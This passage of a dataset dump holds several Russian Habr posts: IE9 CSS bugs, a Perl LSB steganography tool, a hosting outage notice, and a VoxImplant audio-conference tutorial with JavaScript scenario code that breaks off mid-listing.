text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# IE9 — ещё одна головная боль веб-разработчика
 Сразу после окончательного релиза 14 марта [сырого Internet Explorer 9](http://habrahabr.ru/blogs/ie/115460/) в Твиттере появился аккаунт **[ie9bugs](http://twitter.com/#!/ie9bugs)**, в котором собираются значительные для веб-девелопера баги. И хотя есть баг-трекер Микрософта, но там чёрт ногу сломит, а тут в одном месте достаточно кратко описаны и даны ссылки на интересные нюансы. Нам скоро придётся вступить в это говно работать с передовым браузером от Microsoft, потому, имхо, вполне полезно знать все эти грабли. Особенно, зная, с какими темпами Микрософт их закрывает. Предлагаю присоединиться к этому сообществу, рассказать интересные моменты, которые у вас уже есть и прочитать то, что они уже открыли. Из того, что «порадовало» меня больше всего:
* IE9 понимает не больше 4095 селекторов в одном CSS-файле
* Можно подключить не более 31 CSS-файла
* События не цепляются к элементам, у которых `background:transparent;`
Особо радует первый баг, теперь большие таблицы стилей не объединишь в один файл) Микрософт нам, верстальщикам и JavaScript-программистам, приготовил ещё огромное количество работы, костылей и головной боли, выпустив IE9, радуемся)
Ну и много ещё чего найдено за две недели, [читайте сами](http://twitter.com/#!/ie9bugs).
UPD:
> A reliable exploit for Internet Explorer 9 on Win7 SP1 is now available for our Gov customers. [Unpatched vuln + ASLR/DEP/Sandbox bypass](http://habrahabr.ru/blogs/webdev/117048/)
пс. На момент публикации у них 1000 фоловеров.
Через семь часов — 1500 фоловеров! | https://habr.com/ru/post/117033/ | null | ru | null |
# Стеганография на Perl
Доброго времени суток, уважаемые читатели.
Я — представитель типичной (для Хабра) современной «школоты». Интересуюсь околокомпьютерной тематикой, знаю пару языков программирования, верю, что что-то в этом смыслю. Но, пост не о том.
Просматривая хабр, я нередко натыкался на посты по теме стеганографии. Как начинающего *(очень начинающего, ну совсем начинающего)* программиста эта тема заинтересовала меня своей, с одной стороны неочевидностью, с другой — относительной простотой реализации. К тому-же, приближалась практика по программированию…
Пораскинув мозгами, я решил ~~построить свой лунапарк, с блэк...~~ написать свою стеганографирующую программу. Об этой программе, трудностях при ее написании и об их преодолении и будет мой первый хабрапост.
##### О чем шум?
Думаю, хабрапользователям нет необходимости объяснять, что же такое «стеганография», но, на всякий случай, позволю себе привести ссылку на пост, описывающий основные методы стеганографии.
[Стеганография](http://habrahabr.ru/blogs/infosecurity/114597/) by [Megas](http://habrahabr.ru/users/megas/)
На данный момент я использую метод LSB, более подробно описанным в [данном посте](http://habrahabr.ru/blogs/programming/115673/), точнее — его обобщением для форматов BMP, PNG и WAV.
##### Глава первая, постановка задачи
Когда осознаешь, что изобретаешь очередной велосипед, в первую очередь пытаешься придумать, чем же он будет отличаться от велосипедов других, подобных тебе «изобретателей». Для себя я выделил следующие пункты (однако, не все из них (пока) удалось воплотить в жизнь):
* Поддержка разных форматов файлов
* Поддержка хотя бы базового уровня шифрования
* Возможность застеганографировать файл любого формата в стег-контейнер ***(пока не реализовано)***.
* Модульность, т.е. возможность пользователю с навыками программирования на Perl написать модули для работы данной программы с другими форматами ***(реализовано лишь «внутренне», API есть но недокументированно)***.
* Адекватный графический интерфейс *(выполнена лишь вторая часть этого пункта, интерфейс вышел «графический», но, на мой взгляд, его не назовешь «адекватным»)*
В качестве языка я выбрал Perl 5, причины выбора сугубо субъективные — язык мне просто нравится (хотя осознаю что избежал бы многих подводных камней, выбрав, к примеру, C++).
##### Глава вторая, подводные камни
###### 1. Работа с двоичными данными
Первый «камень» был встречен практически сразу же. Используемый метод LSB, заключается в изменении N младших битов в каждом байте. Однако, Perl не предоставляет возможности работать с файлом как с последовательностью битов, данные считываются минимум побайтово.
Данная трудность оказалось самой простой, за несколько минут была написанна подпрограмма str2bin, переводящая строку байтов в массив битов:
```
sub str2bin ($) {
my @bin;
my $str = shift;
for (my $i=0; $i < length($str); $i++) {
@bin = (@bin, split ('', sprintf "%08b", ord(substr($str, $i, 1))));
}
return @bin;
}
```
###### 2. Программа-слоупок
Следующие несколько дней дело шло отлично, был написан модуль для работы с файлами в формате BMP, начата работа над форматом WAV. Однако, в процессе тестирования было замечено, что программа неоправданно долго обрабатывает сообщения длинной в тысячу и более символов (для сообщения из ~4500 символов время записи составляло 25 сек., чтения — 60 сек).
Путем долгого курения мануалов, нескольких сотен применений МНТ, было выяснено следущее: операции с изменением массивов в Perl'e медленные. Нет, даже так: *меееедленные.*
То есть, простая замена
```
for (my $i=0; $i < length($str); $i++) {
@bin = (@bin, split ('', sprintf "%08b", ord(substr($str, $i, 1))));
}
return @bin;
}
```
на
```
for (my $i=0; $i <= $#t; $i++) {
$bin .= substr(dec2bin(ord($t[$i])), 24, 8);
}
return split('', $bin);
```
сократило время чтения и записи с 25 сек и 60 сек, до 0.135 сек и 0.230 сек соответственно, то есть **было достигнуто ускорение в сотни раз**!
###### 3. GUI, Perl, Кирилл и Мефодий
После написания модуля для WAV было выясненно, что используемый тогда для написания GUI тулкит Tkx не мог адекватно работать с кириллическими символами в поле TextEdit.
Эту проблему не удалось обойти, вследствие чего было принято решение переписать графическую часть на Win32::GUI.
###### 4. Зачем же мертвых то мучать?
По ходу дела в голову все чаще приходили слова [Megas](http://habrahabr.ru/users/megas/):
*Но данный способ имеет и не мало минусов. Во-первых он применим лишь к малому количеству контейнеров.*
Возникало желание придумать метод для работы с более живыми форматами. Тут в голову пришли некогда прочитанные строчки Википедии о том, что формат PNG работает со сжатием без потерь.
В голову пришла простая, неэлегантная, но зато рабочая идея:
1. Взять PNG-изображение
2. Преобразовать его во временное, в формате BMP
3. Применить ко временному уже реализованные методы стеганографии в BMP
4. Преобразовать временный BMP обратно в PNG
Расшифровка сообщения — аналогично, через временный BMP.
##### Глава третья, заключительная (с картинками!)
Итак, очередной велосипед начал свой жизненный путь.
На последок, дам ссылку на git-репозиторий данной программы (KaiNS), а также покажу результаты ее работы:
*Исходное png-изображение*
*Изображение-контейнер, содержащее 10903 раза повторенную строку «Привет, Хабр!»*
*[Исходный wav-файл](http://dl.dropbox.com/u/27494278/in.wav)* (1.7 Mb)
*[Wav-контейнер, пароль — Utter](http://dl.dropbox.com/u/27494278/out.wav)* (1.7 Mb)
Git:
[git://github.com/utter-step/KAiNS.git](https://github.com/utter-step/KAiNS)
*(необходимы установленные модули Perl: Win32::GUI, Imager).*
Исполняемый файл:
[KaiNS.exe](http://dl.dropbox.com/u/27494278/KaiNS.exe)
Благодарю всех тех, кто дотерпел до конца этого поста, за внимание.
Буду рад в комментариях выслушать мнения на эту тему, а также буду рад, если кто-либо расскажет о других стеганографических методах, которые можно реализовать.
Спасибо!
**UPD:** В комментариях предложен [код](http://habrahabr.ru/blogs/perl/121989/#comment_3991126), еще эффективнее работающий с массивом для ф-ии str2bin, а так-же принципиально более верное [решение](http://habrahabr.ru/blogs/perl/121989/#comment_3991473) для работы с двоичными данными в Perl'e. Первое применю, со вторым пока разбираюсь в контексте данной задачи. | https://habr.com/ru/post/121989/ | null | ru | null |
# Мастерхост отключил сервера
Сегодня получил письмо следующего содержания.
`Здравствуйте.
в Дата-Центре masterhost произошел сбой системы
кондиционирования, вследствие чего температура поднялась до 40 градусов
Цельсия. В настоящее время ведутся работы по восстановлению работоспособности
систем, по предварительным оценкам, в течение двух часов должно начаться
понижение температуры. Все сервера выключены.
Спасибо за понимание.`
Будьте внимательны, проверяйте свои сайты.
Кстати я не являюсь клиентом мастерхоста, просто мой хостер (ruweb) размещает в этом датацентре свои сервера | https://habr.com/ru/post/8655/ | null | ru | null |
# Сервис управляемых аудио-конференций своими руками
Аудио-конференции — удобный инструмент для решения ряда бизнес задач, большинство привыкло пользоваться чем-нибудь готовым, например, Skype. Но есть ряд случаев, когда компании нужен свой инструмент с централизованным управлением, чтобы секретарь или координатор могли создать конференцию, собрать в нее людей и управлять этим процессом. Мы рассмотрим как раз такой случай и будем использовать облачную платформу VoxImplant для реализации нужного функционала, а также другие полезные веб-библиотеки а-ля bootstrap и jquery.
Для начала определимся с минимально необходимым функционалом нашего сервиса конференций. Нам нужно, чтобы администратор конференции мог создавать список участников конференции, указывать тип подключения для участника — через входящий на номер доступа + пин, подключение исходящим звонков с сервера конференций (кому-то это может оказаться удобнее), как дополнительный вариант — звонок через веб-приложение, сделанное с помощью Web SDK. Администратор конференции в реальном времени должен иметь возможность наблюдать кто из участников подключен, делать mute/unmute участников, отключать и подключать участников конференции на лету. Соответственно прототип интерфейса администратора будет иметь следующий вид.
#### Настройки конференции
Тут все просто: выбор номера доступа к конференции, можно/нельзя подключиться к конференции без авторизации, пытаться авторизоваться по номеру звонящего в конференции. Выбор номера делаем через запрос к HTTP API VoxImplant, получаем список номеров, подключенных к приложению conference (подробнее об этом чуть позднее), остальное — это просто настройки, которые мы сохраняем в БД в таблице conferences.
#### Участники конференции
Знакомый всем bootstrap нам в помощь, логику работы интерфейса и его взаимодействия с простеньким веб-сервисом работающим с БД из 3 таблиц (managers, conferences, participants) мы запилили на Reactjs. Мы не будем вдаваться сейчас в детали разработки интерфейсов, пост немного не про это, если будут пожелания — всегда рады рассказать подробнее, но на это нужна отдельная статья. В конце будут приведены ссылки на SQL-скрипт для развертывания таблиц, PHP-скрипт с веб-сервисами, а также собранный bundle клиентской части сервиса, все это добро мы выложим на GitHub.
С добавлением участников все тоже не особо сложно — есть имя участника, номер телефона (для исходящего подключения или если включена авторизация по А-номеру), email (для отправки уведомлений об участии в конференции и данных для подключения к ней), Outbound — подключить исходящим звонком после старта конференции. Когда список участников сформирован (все данные записаны в БД), то можно начинать конференцию. Schedule Conference позволяет запланировать конференцию на какую-то дату в будущем, разница со Start Conference очевидна — просто записываем данные в БД, включая данные когда конференция будет актуальна и только тогда к ней можно будет подключиться извне + она должна будет при создании попытаться сама вызвонить тех участников, у которых Outbound == true.
#### Конференции VoxImplant
Прежде чем приступить к написанию сценариев VoxImplant для конференций нужно разобраться как они устроены. Конференции в VoxImplant бывают 2х типов: одни можно создавать прямо в сценарии с помощью функции [createConference](https://voximplant.com/docs/references/voxengine/voxengine/createconference) и подключать к ним только звонки, которые были созданы в рамках текущей сессии, вторые создаются на специальных серверах специальной командой HTTP API или после переадресации звонка на эти сервера с помощью специального правила и функции [callConference](https://voximplant.com/docs/references/voxengine/voxengine/callconference). Нам для реализации сервиса потребуется второй вариант. По сути, будет 2 основных сценария — gatekeeper и conference, gatekeeper будет отвечать за авторизацию входящих звонков и перенаправлять их в конференцию при успешной авторизации. А в основном сценарии мы будем собирать все звонки и обрабатывать внешние команды, которые сессия с конференцией будет получать через HTTP-интерфейс.
Сначала в разделе [«Приложения»](https://manage.voximplant.com/applications) создадим новое, а затем сценарии в нем. Начнем с простого, сценарий ConferenceGatekeeper будет иметь следующий вид:
```
var call, // входящий звонок
input = '', // для хранения цифр при донаборе
WEBSERVICE_URL = "path/to/shim.php",
INTRO_MUSIC_URL = "path/to/music.mp3",
t1,
sessionCookie = null; // id сессии для работы с веб-сервисом (shim.php) после успешной авторизации
/**
* Обрабатываем входящий звонок
*/
VoxEngine.addEventListener(AppEvents.CallAlerting, function (e) {
call = e.call;
// Проигрываем музыку пока идет авторизация
call.startEarlyMedia();
call.startPlayback(INTRO_MUSIC_URL, true);
// Вешаем обработчики событий
call.addEventListener(CallEvents.Connected, handleCallConnected);
call.addEventListener(CallEvents.Disconnected, function (e) {
VoxEngine.terminate();
});
call.addEventListener(CallEvents.Failed, function (e) {
VoxEngine.terminate();
});
call.addEventListener(CallEvents.ToneReceived, handleToneReceived);
// Авторизуемся на веб-сервисе (shim.php)
var opts = new Net.HttpRequestOptions();
opts.method = "GET";
opts.headers = ["User-Agent: VoxImplant"];
// Логин и пароль менеджера конференции (хранится в БД)
var authInfo = {
username: "username",
password: "password"
};
Net.httpRequest(WEBSERVICE_URL + '?action=authorize¶ms=' + encodeURIComponent(JSON.stringify(authInfo)), authResult, opts);
});
function authResult(e) {
// HTTP 200 , успешный запрос
if (e.code == 200) {
// Ищем ID-сессии в HTTP response хедерах
for (var i in e.headers) {
if (e.headers[i].key == "Set-Cookie") {
sessionCookie = e.headers[i].value;
sessionCookie = sessionCookie.substr(0, sessionCookie.indexOf(';'));
}
}
// Что-то пошло не так, завершаем сессию (можно что-нибудь сказать звонящему при желании)
if (sessionCookie == null) {
Logger.write("No session header found.");
VoxEngine.terminate();
}
Logger.write("Auth Result: " + e.text + " Session Cookie: " + sessionCookie);
// Если все ОК, то ship.php должен вернуть просто слово AUTHORIZED
if (JSON.parse(e.text).result == "AUTHORIZED") {
// Включаем обработку нажатия клавиш (донабора)
call.handleTones(true);
// Отвечаем на звонок - в результате вызовется CallEvents.CallConnected
call.answer();
} else {
Logger.write("Authorization failed");
VoxEngine.terminate();
}
} else {
Logger.write("Auth HTTP request failed: " + e.code);
VoxEngine.terminate();
}
}
/**
* Обрабатываем событие при соединении звонка
*/
function handleCallConnected(e) {
// Выключаем музыку
call.stopPlayback();
// Проигрываем приветствие, используя TTS и ждем ввода кода доступа от конференции (см. CallEvents.ToneReceived)
call.say("Hello! Welcome to VoxImplant conferencing, please enter your conference access code, " +
"followed by the pound sign", Language.UK_ENGLISH_FEMALE);
// Вешаем обработчик завершения проигрывания TTS
call.addEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
}
/**
* Обрабатываем событие завершения проигрывания TTS
*/
function handleIntroPlayed(e) {
// Не забываем удалить listener
call.removeEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
// Через 5 секунд повторим просьбу ввести код доступа от конференции
t1 = setTimeout(function () {
call.say("Please enter your conference access code, " +
"followed by the pound sign", Language.UK_ENGLISH_FEMALE);
call.addEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
}, 5000);
}
/**
* Обрабатываем ввод с клавиатуры телефона
*/
function handleToneReceived(e) {
clearTimeout(t1);
call.removeEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
call.stopPlayback();
// Если ввели решетку, то проверяем код
if (e.tone == '#') {
var opts = new Net.HttpRequestOptions();
opts.method = "GET";
opts.headers = ["Cookie: " + sessionCookie];
// Данные для веб-сервиса - введенный код доступа и номер конференции
var requestInfo = {
access_number: call.number().replace(/[\s\+]+/g, ''),
access_code: input
};
Net.httpRequest(WEBSERVICE_URL + "?action=get_conference¶ms=" + encodeURIComponent(JSON.stringify(requestInfo)), getConferenceResult, opts);
} else input += e.tone;
}
/**
* Обработка результатов запроса get_conference
*/
function getConferenceResult(e) {
if (e.code == 200) {
var result = JSON.parse(e.text);
if (typeof result.result != "undefined") {
// Получили id конференции
result = result.result;
// Важно не забыть отключить обработку ввода перед перенаправлением звонка на сервер конференций
call.removeEventListener(CallEvents.ToneReceived, handleToneReceived);
call.handleTones(false);
input = '';
Logger.write('Joining conference conf' + result.conference_id);
// Отправляем вызов в конференцию с названием conf + id-конференции и передаем callerid
var conf = VoxEngine.callConference('conf' + result.conference_id, call.callerid());
VoxEngine.sendMediaBetween(call, conf);
} else {
input = '';
call.say("Sorry, there is no conference with entered access code, please try again.", Language.UK_ENGLISH_FEMALE);
call.addEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
}
} else {
Logger.write("GetConference HTTP request failed: " + e.code);
input = '';
call.say("Sorry, there is no conference with entered access code, please try again.", Language.UK_ENGLISH_FEMALE);
call.addEventListener(CallEvents.PlaybackFinished, handleIntroPlayed);
}
}
```
Чтобы связать сценарий с номером нужно приобрести номер в разделе «Номера» в приложении, прикрепить его к приложению и создать правило в разделе «Роутинг». Назовем его IncomingCall, в котором в маску пишем купленный номер телефона, а в сценарии — наш ранее созданный ConferenceGatekeeper.
Если все сделали правильно, то теперь входящий звонок на номер запустит наш сценарий. Можно переходить к сценарию самой конференции, но перед этим надо учесть одну важную особенность архитектуры VoxImplant — сессия без активных звонков в ней живет ровно 1 минуту, после чего завершается, это в равной степени относится к сессиям с конференцией. Если мы стартанем конференцию через HTTP-запрос StartConference (например, для подключения каких-то из участников исходящими звонками), то media\_session\_access\_url, который вернет этот запрос будет актуален не вечно, а ровно до момента гибели сессии. Аналогично в случае запуска сессии конференции через входящие звонки, поэтому мы будем media\_session\_access\_url хранить в базе данных и удалять его в случае завершения сессии и перезаписывать в случае перезапуска сессии, чтобы у нас там был или актуальный URL или его не было совсем.
Итак, создаем новый сценарий с названием StandaloneConference:
```
var voxConf, // инстанс VoxConference (мы опишем этот класс в отдельном сценарии)
conferenceId = null, // id конференции
startType, // способ запуска конференции
eventType, // тип события для перезапуска конференции
redial_pId, // id участника конференции
authorized = false, // флаг авторизации
WEBSERVICE_URL = "path/to/shim.php", // путь к веб-сервису
sessionCookie = null, // храним тут id сессии после авторизации на веб-сервисе
t3,
ms_url; // media_session_access_url
/**
* Обработка запуска сессии
*/
VoxEngine.addEventListener(AppEvents.Started, function (e) {
// Создаем инстанс класса VoxConference
voxConf = new VoxConference();
// Получаем media_session_access_url
ms_url = e.accessURL;
// Если сессия запущена через HTTP, то customData есть, если входящим звонком, то нет
try {
data = JSON.parse(VoxEngine.customData());
conferenceId = data.conference_id;
startType = data.start_type;
if (typeof data.event != 'undefined') eventType = data.event;
if (typeof data.pId != 'undefined') redial_pId = data.pId;
} catch (e) {
startType = "sip";
}
// Авторизуемся на веб-сервисе (shim.php)
var opts = new Net.HttpRequestOptions();
opts.method = "GET";
opts.headers = ["User-Agent: VoxImplant"];
// Логин и пароль менеджера конференции (хранится в БД)
var authInfo = {
username: "username",
password: "password"
};
Net.httpRequest(WEBSERVICE_URL + "?action=authorize¶ms=" + encodeURIComponent(JSON.stringify(authInfo)), authResult, opts);
});
/**
* Обработка входящего звонка
*/
VoxEngine.addEventListener(AppEvents.CallAlerting, function (e) {
// Если данные по участника еще не загружены из веб-сервиса, то просто добавляем их для последующей обработки в статусе waiting
if (voxConf.participants() == null) {
// e.destination содержит полное название конференции в виде conf + id, получаем id
conferenceId = e.destination.replace('conf', '');
voxConf.addConfCall({
call_id: e.call.id(),
call: e.call,
input: '',
state: 'waiting'
});
} else {
// Если данные по участникам уже есть, то сразу обрабатываем входящий вызов
voxConf.addConfCall({
call_id: e.call.id(),
call: e.call,
input: '',
state: 'in_process'
});
voxConf.processIncomingCall(e.call);
}
});
/**
* Обработка результатов запроса авторизации
*/
function authResult(e) {
if (e.code == 200) {
for (var i in e.headers) {
if (e.headers[i].key == "Set-Cookie") {
sessionCookie = e.headers[i].value;
sessionCookie = sessionCookie.substr(0, sessionCookie.indexOf(';'));
}
}
if (sessionCookie == null) {
Logger.write("No session header found.");
VoxEngine.terminate();
}
if (JSON.parse(e.text).result == "AUTHORIZED") {
// Авторизация прошла успешно
authorized = true;
// Если конференция была запущена по HTTP или уже есть conferenceId
if (startType == 'http' || conferenceId != null) {
// Стартанули через входящий звонок - сохраняем media_session_access_url в БД
if (startType == 'sip') saveMSURL();
// Подгружаем данные про участников конференции
getParticipants();
} else {
// Ждем пока появится conferenceId
t3 = setInterval(checkConferenceId, 1000);
}
} else {
Logger.write("Authorization failed");
VoxEngine.terminate();
}
} else {
Logger.write("Auth HTTP request failed: " + e.code);
VoxEngine.terminate();
}
}
/**
* Функция, чтобы перезвонить участнику конференции
*/
function processRedial(pId) {
var phone = '',
participants = voxConf.participants();
// Ищем участника с id = pId
for (var k in participants) {
if (participants[k].id == pId) {
phone = participants[k].phone;
}
}
// Не нашли
if (phone == '') return false;
// Нашли - звоним и сразу в обработку
var call = VoxEngine.callPSTN(phone, voxConf.getConfNumber());
voxConf.addConfCall({
call_id: call.id(),
call: call,
input: '',
state: 'in_process',
participant_id: pId
});
voxConf.processOutboundCall(call);
return true;
}
/**
* Проверяем conferenceId, если появилось, значит пришел входящий звонок и сессия запустилась
*/
function checkConferenceId() {
if (conferenceId != null) {
clearInterval(t3);
// Сохраняем media_session_access_url в БД
if (startType == 'sip') saveMSURL();
// Получаем данные об участниках конференции
getParticipants();
}
}
/**
* Сохраняем media_session_access_url в БД через веб-сервис
*/
function saveMSURL() {
var opts = new Net.HttpRequestOptions();
opts.method = "POST";
opts.headers = ["Cookie: " + sessionCookie];
var requestInfo = {
conference_id: conferenceId,
ms_url: ms_url
};
Net.httpRequest(WEBSERVICE_URL + "?action=save_ms_url¶ms=" + encodeURIComponent(JSON.stringify(requestInfo)), saveMSURLresult, opts);
}
// Обработчик результатов запроса save_ms_url
function saveMSURLresult(e) {
if (e.code == 200) {
// Все хорошо. TODO: сделать нормальный обработчик
Logger.write(e.text);
} else {
// Все плохо. TODO: сделать нормальный обработчик
Logger("Couldn't save ms_url in DB");
}
}
/**
* Загружаем данные по участника конференции из веб-сервиса
*/
function getParticipants() {
var opts = new Net.HttpRequestOptions();
opts.method = "GET";
opts.headers = ["Cookie: " + sessionCookie];
var requestInfo = {
conference_id: conferenceId
};
Net.httpRequest(WEBSERVICE_URL + "?action=get_participants¶ms=" + encodeURIComponent(JSON.stringify(requestInfo)), getParticipantsResult, opts);
}
/**
* Обрабатываем результаты запроса get_participants
*/
function getParticipantsResult(e) {
if (e.code == 200) {
if (typeof e.text == 'undefined') {
// Что-то пошло не так. TODO: сделать нормальный обработчик
Logger.write('No participants found.');
VoxEngine.terminate();
return;
}
var result = JSON.parse(e.text);
if (typeof result.error != 'undefined') {
// Что-то пошло не так. TODO: сделать нормальный обработчик
} else {
// Данные про конференцию и участников
var participants = result.result.participants,
calleridAuth = (result.result.conference.callerid_auth == "1"),
anonymousAccess = (result.result.conference.anonymous_access == "1"),
accessCode = result.result.conference.access_code,
active = (result.result.conference.active == "1"),
accessNumber = result.result.conference.access_number;
// Инициализируем
voxConf.init(conferenceId, accessCode, anonymousAccess, calleridAuth, active, participants, accessNumber);
// Обрабатываем звонки, которые пришли в конференцию до получения данных от веб-сервиса
voxConf.processWaitingCalls();
// Если сессия запущена через HTTP - делаем исходящие звонки на соответствующих участников
if (startType == "http") {
if (eventType == 'redial') voxConf.makeOutboundCalls(redial_pId); // Если сессия ожила при попытке позвонить конкретному участнику конференции
else voxConf.makeOutboundCalls(); // Сессия ожила при старте всей конференции
}
}
} else Logger.write("Participants HTTP request failed: " + e.code);
}
/**
* Обновление списка участников в случае добавления нового участника конференции
*/
function updateParticipants(e, pId) {
if (e.code == 200) {
if (typeof e.text == 'undefined') return; // Что-то пошло не так. TODO: сделать нормальный обработчик
var result = JSON.parse(e.text);
if (typeof result.error != 'undefined') {
// Что-то пошло не так. TODO: сделать нормальный обработчик
} else {
// Обновляем список участников
voxConf.updateParticipants(result.result.participants);
// Звоним новому участнику
processRedial(pId);
}
}
}
/**
* Обработка комманд передаваемых сценарию через media_session_access_url
*/
VoxEngine.addEventListener(AppEvents.HttpRequest, function (data) {
// Запросы выглядят как media_session_access_url + /command=mute_participant/pId=100
// в data.path будет только command=mute_participant/pId=100
var params = data.path.split("/"),
command = null,
pId = null,
options = null;
// Парсим params и получаем значения command, pId, options
for (var i in params) {
var kv = params[i].split("=");
if (kv.length > 1) {
if (kv[0] == "command") command = kv[1];
if (kv[0] == "pId") pId = kv[1];
if (kv[0] == "options") options = kv[1];
}
}
// Тут содержаться все текущие звонки конференции
var calls = voxConf.calls();
switch (command) {
// Получаем данные по звонкам и возвращаем назад - для визуализации состояния участников в веб-интерфейсе
case "gather_info":
var result = [];
for (var i in calls) {
if (typeof calls[i].participant_id != 'undefined') result.push({
state: calls[i].call.state(),
participant_id: calls[i].participant_id
});
}
return JSON.stringify(result);
break;
// Отключить участника
case "disconnect_participant":
for (var i in calls) {
if (calls[i].participant_id == pId) {
calls[i].call.hangup();
return true;
}
}
return false;
break;
// Выключить передачу аудио от участника в конференцию
case "mute_participant":
for (var i in calls) {
if (calls[i].participant_id == pId) {
calls[i].call.stopMediaTo(voxConf.getConfObj());
return true;
}
}
return false;
break;
// Включить передачу аудио от участника в конференцию
case "unmute_participant":
for (var i in calls) {
if (calls[i].participant_id == pId) {
calls[i].call.sendMediaTo(voxConf.getConfObj());
return true;
}
}
return false;
break;
// Набрать участника еще раз
case "redial_participant":
// При добавлении участника нужно перезагрузить список участников конференции с веб-сервиса
if (options == 'reload_participants') {
var opts = new Net.HttpRequestOptions();
opts.method = "GET";
opts.headers = ["Cookie: " + sessionCookie];
var requestInfo = {
conference_id: conferenceId
};
Net.httpRequest(WEBSERVICE_URL + "?action=get_participants¶ms=" + encodeURIComponent(JSON.stringify(requestInfo)), function(e) {
// Обновляем список участников
updateParticipants(e, pId);
}, opts);
return true;
} else {
// Звоним еще раз уже существующему участнику
return processRedial(pId);
}
break;
}
});
/**
* При завершении сессии конференции отправляем запрос веб-сервису на удаление media_session_access_url (ms_url) из БД
*/
VoxEngine.addEventListener(AppEvents.Terminating, function(e) {
var opts = new Net.HttpRequestOptions();
opts.method = "POST";
opts.headers = ["Cookie: " + sessionCookie];
Logger.write("HEADERS: " + opts.headers);
var requestInfo = {
conference_id: conferenceId,
ms_url: ''
};
Logger.write("Terminating the session, update ms_url in database");
Net.httpRequest(WEBSERVICE_URL + "?action=save_ms_url¶ms=" + encodeURIComponent(JSON.stringify(requestInfo)), function(e) {}, opts);
});
```
Вы, наверное, заметили, что мы использовали некий класс VoxConference в этом сценарии, это никакой не встроенный класс, это просто отдельный класс, отвечающий за работу конференции, который мы написали в отдельном сценарии и будем прицеплять его к правилу перед нашим StandaloneConference. Давайте посмотрим на него внимательнее:
**Если вы дочитали до этого места, то значит вам реально интересно, осталось еще немного :)**
```
// Magic! Подключаем модули VoxImplant
require(Modules.Conference); // Модуль подключает функционал аудио-конференций
require(Modules.Player); // Модуль подключаем функционал проигрывателя
/**
* Вот наш класс VoxConference, который отвечает за ряд функций конференции
*/
VoxConference = function () {
var conferenceId,
accessCode,
anonymousAccess,
calleridAuth,
active,
participants = null,
number,
conf,
calls = [],
t1, t2,
music = null,
BEEP_URL = "path/to/beep.mp3",
MUSIC_URL = "path/to/ambientmusic.mp3";
// Просто определяем переменные
this.init = function (id, code, a_access, c_auth, a, p, num) {
conferenceId = id; // id конференции
number = num; // телефонный номер конференции
accessCode = code; // код доступа
anonymousAccess = a_access; // возможность подключения без авторизации
calleridAuth = c_auth; // авторизации участника по номеру телефона
participants = p; // список участников
active = a;
// Создаем конференцию
conf = VoxEngine.createConference();
}
// Получение списка участников
this.participants = function () {
return participants;
}
// Обновление списка участников
this.updateParticipants = function (newdata) {
participants = newdata;
}
// Получение списка текущих звонков
this.calls = function () {
return calls;
}
// Получение номера конференции
this.getConfNumber = function () {
return number;
}
// Получение инстанса конференции
this.getConfObj = function () {
return conf;
}
// Обработка нового входящего звонка
this.processIncomingCall = function (call) {
// Отвечаем на звонок
call.answer();
// Обработчики событий
this.handleCallConnected = this.handleCallConnected.bind(this);
call.addEventListener(CallEvents.Connected, this.handleCallConnected);
call.addEventListener(CallEvents.Disconnected, function (e) {
// При отключении звонка чистим массив calls и меняем статус участника в participants
var pid = this.getConfCall(e.call).participant_id;
Logger.write("Participant id " + pid + " has left the conf");
this.participantLeft(pid);
for (var i = 0; i < calls.length; i++) {
if (calls[i].call == e.call) {
calls.splice(i, 1);
break;
}
}
// Если остался только один звонок, то играем участнику музыку
this.ambientMusic();
}.bind(this));
}
// Обработка нового исходящего звонка
this.processOutboundCall = function (call) {
// Отвечаем на звонок
call.answer();
// Обработчики событий
this.handleOutboundCallConnected = this.handleOutboundCallConnected.bind(this);
call.addEventListener(CallEvents.Connected, this.handleOutboundCallConnected);
call.addEventListener(CallEvents.Disconnected, function (e) {
// При отключении звонка чистим массив calls и меняем статус участника в participants
var pid = this.getConfCall(e.call).participant_id;
Logger.write("Participant id " + pid + " has left the conf");
this.participantLeft(pid);
for (var i = 0; i < calls.length; i++) {
if (calls[i].call == e.call) {
calls.splice(i, 1);
break;
}
}
this.ambientMusic();
}.bind(this));
call.addEventListener(CallEvents.Failed, function (e) {
// Не смогли дозвониться
var pid = this.getConfCall(e.call).participant_id;
Logger.write("Couldnt connect participant id " + pid);
}.bind(this));
}
// Проверяем существует ли участник с указанным паролем, еще не подключенный к конференции
this.participantExists = function (passcode) {
Logger.write("Check if participant exists, passcode: " + passcode);
for (var i = 0; i < participants.length; i++) {
if (participants[i].passcode == passcode && participants[i].connected != true) {
participants[i].connected = true;
return participants[i].id;
}
}
return false;
}
// Проверяем существует ли участник, еще не подключенный к конференции, с указанными именем пареметра и его значением
this.participantWithParamExists = function (param, value) {
Logger.write("Check if with participant." + param + " = " + value + " exists");
for (var i = 0; i < participants.length; i++) {
if (participants[i][param] == value && participants[i].connected != true) {
participants[i].connected = true;
return participants[i].id;
}
}
return false;
}
// При отключении участника ставим connected = false
this.participantLeft = function (id) {
for (var i = 0; i < participants.length; i++) {
if (participants[i].id == id) {
participants[i].connected = false;
}
}
}
// Запускаем в обработку все звонки, которые ожидали получения данных по конференции
this.processWaitingCalls = function () {
for (var i = 0; i < calls.length; i++) {
if (calls[i].state == 'waiting') {
calls[i].state = 'in_process';
this.processIncomingCall(calls[i].call);
}
}
}
// Дозваниваемся до всех участников, у которых установлен параметр исходящего дозвона (auto_call)
this.makeOutboundCalls = function (pId) {
for (var i in participants) {
if ((participants[i].auto_call == "1" && typeof pId == 'undefined') ||
pId == participants[i].id) {
var call = VoxEngine.callPSTN(participants[i].phone, number);
this.addConfCall({
call_id: call.id(),
call: call,
input: '',
state: 'in_process',
participant_id: participants[i].id
});
Logger.write(JSON.stringify(calls));
this.processOutboundCall(call);
}
}
}
// Получаем звонок из массива calls
this.getConfCall = function (call) {
for (var i in calls) {
if (calls[i].call == call) return calls[i];
}
}
// Добавляем звонок в массив calls
this.addConfCall = function (call_obj) {
calls.push(call_obj);
}
// Обработчик вызываемый при успешном исходящем дозвоне
this.handleOutboundCallConnected = function (e) {
// Обновляем объект в массиве calls
var cCall = this.getConfCall(e.call);
cCall.state = 'connected';
